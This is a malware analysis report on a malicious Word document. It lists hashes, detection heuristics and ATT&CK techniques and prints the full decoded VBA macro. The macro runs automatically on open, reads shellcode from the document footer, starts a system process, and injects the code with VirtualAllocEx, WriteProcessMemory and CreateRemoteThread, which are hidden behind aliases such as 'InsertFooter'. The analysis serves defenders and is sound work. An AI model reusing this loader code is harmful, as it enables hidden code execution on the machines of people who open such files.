Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d57fc629e39d58b…

MALICIOUS

Office (OLE)

46.0 KB Created: 2017-11-10 11:52:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 61aef46048fa0120fa59f00dde6efde4 SHA-1: 13f0e7167482712a923f9d6b3bdad6c6d07e1331 SHA-256: 8d57fc629e39d58ba8f29266b242481548ab64c2c3f46ff643783ceb453cb4d3
314 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1055.012 Process Injection: Process Hollowing

The sample is a malicious Office document containing VBA macros. The macros leverage several Windows API calls, including CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, strongly indicating an attempt to inject malicious code into a running process. The presence of legacy WordBasic auto-exec markers and multiple VBA auto-execution macros further supports its malicious nature.

Heuristics 12

  • ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim bit As Long, arr As Variant, off As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        f = clean(f)
    If Len(Environ(Chr(80) & "r" & Chr(111) & "g" & Chr(114) & "a" & Chr(109) & "W" & Chr(54) & "4" & Chr(51) & Chr(50))) > 0 Then
        olives = Environ(Chr(119) & "i" & Chr(110) & Chr(100) & "i" & "r") & "\\" & "S" & "y" & Chr(115) & "W" & "O" & "W" & "6" & "4" & "\\" & f
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4598 bytes
SHA-256: 8ca721ee8901cadc294067a1fd0a9707d0c3787e21e588f03a8390890eb13787
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Type PROC
    pr As Long
    gdfgs As Long
    asdfasdf As Long
    wqrwerfsae As Long
End Type

Private Type INFO
    cb As Long
    asdfasdf As String
    asdfhfg As String
    ouin As String
    dtbd As Long
    sdfvs As Long
    nulim As Long
    xbyju As Long
    dwXCountChars As Long
    dwYCountChars As Long
    erctvtuuno As Long
    jbuytbju As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    lmomgt As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
    Private Declare PtrSafe Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
    Private Declare PtrSafe Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
    Private Declare PtrSafe Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
    Private Declare Function InsertFooter Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
    Private Declare Function CreateFooter Lib "kernel32" Alias "VirtualAllocEx" (ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
    Private Declare Function WriteFooter Lib "kernel32" Alias "WriteProcessMemory" (ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As Long
    Private Declare Function ViewFooter Lib "kernel32" Alias "CreateProcessA" (ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If


Function clean(s As String)
    s = Replace(s, vbCr, " ")
    s = Replace(s, vbLf, " ")
    clean = Replace(s, vbCrLf, " ")
End Function

Sub Auto_Open()
    Dim bit As Long, arr As Variant, off As Long
    Dim bread As PROC
    Dim olives As String
    Dim cheese As INFO
    Dim nil As String
    

#If VBA7 Then
    Dim page As LongPtr, res As LongPtr
#Else
    Dim page As Long, res As Long
#End If
    Dim f As String
    f = ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text
    f = clean(f)
    
    arr = Split(f, ",")
    For i = 0 To UBound(arr)
        arr(i) = CInt(arr(i))
    Next i
    f = Trim(ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range.Text)
    f = clean(f)
    If Len(Environ(Chr(80) & "r" & Chr(111) & "g" & Chr(114) & "a" & Chr(109) & "W" & Chr(54) & "4" & Chr(51) & Chr(50))) > 0 Then
        olives = Environ(Chr(119) & "i" & Chr(110) & Chr(100) & "i" & "r") & "\\" & "S" & "y" & Chr(115) & "W" & "O" & "W" & "6" & "4" & "\\" & f
    Else
        olives = Environ("w" & "i" & Chr(110) & "d" & Chr(105) & Chr(114)) & "\\" & "S" & "y" & Chr(115) & "t" & Chr(101) & Chr(109) & "3" & Chr(50) & "\\" & f
    End If

    res = ViewFooter(nil, olives, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, nil, cheese, bread)

    page = CreateFooter(bread.pr, 0, UBound(arr), &H1000, &H40)
    For off = LBound(arr) To UBound(arr)
        bit = arr(off)
        res = WriteFooter(bread.pr, page + off, bit, 1, ByVal 0&)
    Next off
    res = InsertFooter(bread.pr, 0, 0, page, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.